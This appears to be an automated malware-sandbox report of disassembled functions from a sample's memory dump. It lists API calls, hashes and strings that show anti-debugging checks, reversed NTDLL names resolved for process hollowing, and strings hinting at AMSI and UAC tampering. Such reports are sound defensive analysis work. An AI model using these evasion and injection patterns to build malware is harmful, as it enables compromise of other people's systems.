Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: fed6c59af2203d7c7cebfe5504eac97ab999663298c920ffe396af766c6c1c0a
Instruction ID: e5084263d86b7fc952452a445e5dc286576a1f41ca92d157193c9bd63852c04a
Opcode Fuzzy Hash: fed6c59af2203d7c7cebfe5504eac97ab999663298c920ffe396af766c6c1c0a
Instruction Fuzzy Hash: 65F0A07090465CBAEB22A7A888897DEFBBD7B05328F640BA4E424621D1EB750784C655

Function 02C4DBB0 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02C34ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02C34EDA

RtlDosPa.N(00000000,?,00000000,00000000,00000000,02C4DC80), ref: 02C4DBEB
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02C4DC80), ref: 02C4DC1B
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02C4DC30
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02C4DC5C
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02C4DC65

Part of subcall function 02C34C0C: SysFreeString.OLEAUT32(02C4E950), ref: 02C34C1A

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: File$String$AllocCloseFreeInformationOpenQueryRead
String ID:
API String ID: 2659941336-0
Opcode ID: ef91da38ce04291ea29f9f5432b3716266ad94f47ce864d23bcebf20e95a1b55
Instruction ID: 4c6d5d8a59f33941f64bfde14799a72790af43f64f775e65b73d9151d8e5d955
Opcode Fuzzy Hash: ef91da38ce04291ea29f9f5432b3716266ad94f47ce864d23bcebf20e95a1b55
Instruction Fuzzy Hash: DE21D071A50708BAEB15EAE4CC46FDFB7BDAF48B00F500561B601F71C0DAB4AA449BA5

Function 02C4E2F8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C4E436

Strings

OpenSession, xrefs: 02C4E3D8
Initialize, xrefs: 02C4E326
ScanBuffer, xrefs: 02C4E37F

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 147b82e340d28890f673bda6acb6aa115fe649be682b09c9d7aef8deb58de219
Instruction ID: 8529cd31d9ac9feb95403e219b2fb9f3dde7fb8b6b2278dbeb52e97f6fa6da1d
Opcode Fuzzy Hash: 147b82e340d28890f673bda6acb6aa115fe649be682b09c9d7aef8deb58de219
Instruction Fuzzy Hash: AD41ED75A502089BEB26EBE4DC41ADEB3FAFF8C720F614835E441A7250DA74AD059F60

Function 02C4DACC Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02C34ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02C34EDA

RtlDosPa.N(00000000,?,00000000,00000000,00000000,02C4DB9E), ref: 02C4DB0B
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02C4DB45
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02C4DB72
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02C4DB7B

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: File$AllocCloseCreateStringWrite
String ID:
API String ID: 3308905243-0
Opcode ID: eedaff43223b06e837f8b72dc20890a9e686efe28aa4670b0190fec40f76fe18
Instruction ID: 4ca3a90be2e67ffe609b6a823fec9372ad4f621d51a9607d51e263b76968e256
Opcode Fuzzy Hash: eedaff43223b06e837f8b72dc20890a9e686efe28aa4670b0190fec40f76fe18
Instruction Fuzzy Hash: 9221ED71A40308BAEB25EAE4CC46F9EB7BDAB04B14F504561B601F71C0DBB0AE049A65

Function 02C485DC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02C48668

Strings

CreateProcessAsUserW, xrefs: 02C485F5
Kernel32, xrefs: 02C48627

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CreateProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 3130163322-2353454454
Opcode ID: 316376d45e902c080af4b5029e22c8f530245e149aa2b35dd7fcab68ad1df924
Instruction ID: eb62d5d81219c18ab8eae80b9bbf703efa223282ba46a9dcfdb93b9fa2063f03
Opcode Fuzzy Hash: 316376d45e902c080af4b5029e22c8f530245e149aa2b35dd7fcab68ad1df924
Instruction Fuzzy Hash: C411D3B6600208AFEB91EEA8DD41FDF37EDEB0C710F554620BA08D7640CA74E9109B64

Function 02C479B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02C47A27

Strings

yromeMlautriVetacollAwZ, xrefs: 02C479CF
ntdll, xrefs: 02C479FC

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: ae35c55d7c659ddd8094db45f0db5db96092bb79666b9856093587f4a8aba7f7
Instruction ID: 051cf75b71c1c10f34944b81dff5d831ecf324caf4adab2fb0e9ed19d5a12327
Opcode Fuzzy Hash: ae35c55d7c659ddd8094db45f0db5db96092bb79666b9856093587f4a8aba7f7
Instruction Fuzzy Hash: 00115775640208AFEB15EFA4DC42FAFB7ADEB48710F418861B908D7640DA70AA149B60

Function 02C479B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02C47A27

Strings

yromeMlautriVetacollAwZ, xrefs: 02C479CF
ntdll, xrefs: 02C479FC

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: e5564f7677e7f2b9eceea7002fccd1256339dce290e404dc8ea6cbbec97d27de
Instruction ID: 8a7e3501d507530ca41b5bc3210e44cf1c66fff67f7d9fe97f722eb5c64616ca
Opcode Fuzzy Hash: e5564f7677e7f2b9eceea7002fccd1256339dce290e404dc8ea6cbbec97d27de
Instruction Fuzzy Hash: 40116975640208AFEB15EFA4DC42F9FB7BDEB4C710F418861B908D7640DB70AA14DB60

Function 02C48254 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02C482C5

Strings

ntdll, xrefs: 02C4829C
yromeMlautriVdaeRtN, xrefs: 02C4826F

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2521977463-737317276
Opcode ID: f2c1816b2a1240c70e47ef0060d2f53b8ff4d4c0364c91907f96afc3186cceff
Instruction ID: 36307dbee292e845413d3c3ec9938e39132e24f097807f38d3ba528c5d237355
Opcode Fuzzy Hash: f2c1816b2a1240c70e47ef0060d2f53b8ff4d4c0364c91907f96afc3186cceff
Instruction Fuzzy Hash: 35016975600208AFEB10EFA8DC41EAF77FEEB49700F414960F808D7600DA70E9109B64

Function 02C47D00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02C47D74

Strings

yromeMlautriVetirW, xrefs: 02C47D1B
Ntdll, xrefs: 02C47D4B

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: d0e0a57f955e2a7dfaac7d7e20f528569a92baafa90cf5c6a8e22d1b721fb08b
Instruction ID: 25b224829f9682d1badafaf1f60334875e4e4a6d12f1212474b81060c6ce34b5
Opcode Fuzzy Hash: d0e0a57f955e2a7dfaac7d7e20f528569a92baafa90cf5c6a8e22d1b721fb08b
Instruction Fuzzy Hash: 34018CB5610208AFEB10EFA8DC45FAFB7FDEB48700F514820F408D7A80CA70A9149F60

Function 02C484C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02C48020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02C48090,?,?,00000000,?,02C47A06,ntdll,00000000,00000000,02C47A4B,?,?,00000000), ref: 02C4805E
Part of subcall function 02C48020: GetModuleHandleA.KERNELBASE(?), ref: 02C48072

Part of subcall function 02C480C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02C48150,?,?,00000000,00000000,?,02C48069,00000000,KernelBASE,00000000,00000000,02C48090), ref: 02C48115
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02C4811B
Part of subcall function 02C480C8: GetProcAddress.KERNEL32(?,?), ref: 02C4812D

NtUnmapViewOfSection.NTDLL(?,?), ref: 02C48529

Strings

ntdll, xrefs: 02C4850C
noitceSfOweiVpamnUtN, xrefs: 02C484DF

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$SectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 3503870465-2520021413
Opcode ID: 1885abc288bd3555802afb84107b3268b4863d88c79648948a015d4fb70baac9
Instruction ID: 6166b5f20e1162142a0a5916b154a3a61d02b7b8aa2ebb45cb8688601656f3d9
Opcode Fuzzy Hash: 1885abc288bd3555802afb84107b3268b4863d88c79648948a015d4fb70baac9
Instruction Fuzzy Hash: 94014B74A40204AFFB15EFA4DC46B5EB7BEFB49B10F914960B40897A40DA70AA10AA60

Function 02C4D9F0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 02C4DA6C
RtlDosPa.N(00000000,?,00000000,00000000,00000000,02C4DABE), ref: 02C4DA82
NtDeleteFile.NTDLL(?), ref: 02C4DAA1

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: DeleteFileInitStringUnicode
String ID:
API String ID: 3559453722-0
Opcode ID: 9d420d2cd237ec896246750985b00462cbdfb39342c7ea844ad94f25a70c4ddf
Instruction ID: b71fda800dcdb889988fba4649aa244d1cf56b33cf358c38f820a38d7b5e5990
Opcode Fuzzy Hash: 9d420d2cd237ec896246750985b00462cbdfb39342c7ea844ad94f25a70c4ddf
Instruction Fuzzy Hash: D6014F75988248AEEB06FAA09941BCE77B9AB45704F5004A3A241E6081DE74AB049B25

Function 02C4DA44 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02C34ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02C34EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 02C4DA6C
RtlDosPa.N(00000000,?,00000000,00000000,00000000,02C4DABE), ref: 02C4DA82
NtDeleteFile.NTDLL(?), ref: 02C4DAA1

Part of subcall function 02C34C0C: SysFreeString.OLEAUT32(02C4E950), ref: 02C34C1A

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: String$AllocDeleteFileFreeInitUnicode
String ID:
API String ID: 2841551397-0
Opcode ID: 6a5fcf6f8215be6e873fb128ae07f52ca964285ca88f285c523de84c829bfb63
Instruction ID: 4890b99a878fa205ed210bfd2895b6a6b4837dff0fef5dba64d4858bbfa16f02
Opcode Fuzzy Hash: 6a5fcf6f8215be6e873fb128ae07f52ca964285ca88f285c523de84c829bfb63
Instruction Fuzzy Hash: 3A01EC71A44208AAEB15FAE0DD52FCEB7BDEB48B00F504472A601E6180EB74AB049A64

Function 02C46D50 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02C46CF4: CLSIDFromProgID.OLE32(00000000,?,00000000,02C46D41,?,?,?,00000000), ref: 02C46D21

CoCreateInstance.OLE32(?,00000000,00000005,02C46E34,00000000,00000000,02C46DB3,?,00000000,02C46E23), ref: 02C46D9F

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 45c33bce37da15703d19256b431596406120267975f071da5f2602af0b081541
Instruction ID: ce54c19730cf883a3395bfe2f4b23465726eacc8bd253c857aa32102f977f7b5
Opcode Fuzzy Hash: 45c33bce37da15703d19256b431596406120267975f071da5f2602af0b081541
Instruction Fuzzy Hash: FF012631208744AEF706DFA4DC5296FBBFDEB4AB10B724835F901E2680EE348E00D960

Function 02C4EC74 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535filesleepCOMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,02C5AFA1,?,?,?,000002F7,00000000,00000000), ref: 02C4ECAE

Part of subcall function 02C48824: LoadLibraryA.KERNEL32(00000000,00000000,02C4890B), ref: 02C48858
Part of subcall function 02C48824: FreeLibrary.KERNEL32(74F60000,00000000,02C91388,Function_000065D8,00000004,02C91398,02C91388,05F5E0FF,00000040,02C9139C,74F60000,00000000,00000000,00000000,00000000,02C4890B), ref: 02C488EB

Part of subcall function 02C4EB94: GetModuleHandleW.KERNEL32(KernelBase,?,02C4EF98,UacInitialize,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,ScanBuffer,02C9137C,02C5AFD8,ScanString,02C9137C,02C5AFD8,Initialize), ref: 02C4EB9A
Part of subcall function 02C4EB94: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02C4EBAC

Part of subcall function 02C4EBF0: GetModuleHandleW.KERNEL32(KernelBase), ref: 02C4EC00
Part of subcall function 02C4EBF0: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02C4EC12
Part of subcall function 02C4EBF0: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02C4EC29

Part of subcall function 02C37E18: GetFileAttributesA.KERNEL32(00000000,?,02C4F8CC,ScanString,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,ScanString,02C9137C,02C5AFD8,UacScan,02C9137C,02C5AFD8,UacInitialize), ref: 02C37E23

Part of subcall function 02C3C2EC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02D858C8,?,02C4FBFE,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,ScanBuffer,02C9137C,02C5AFD8,OpenSession), ref: 02C3C303

Part of subcall function 02C4DBB0: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02C4DC80), ref: 02C4DBEB
Part of subcall function 02C4DBB0: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02C4DC80), ref: 02C4DC1B
Part of subcall function 02C4DBB0: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02C4DC30
Part of subcall function 02C4DBB0: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02C4DC5C
Part of subcall function 02C4DBB0: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02C4DC65

Part of subcall function 02C37E3C: GetFileAttributesA.KERNEL32(00000000,?,02C52A49,ScanString,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,Initialize), ref: 02C37E47

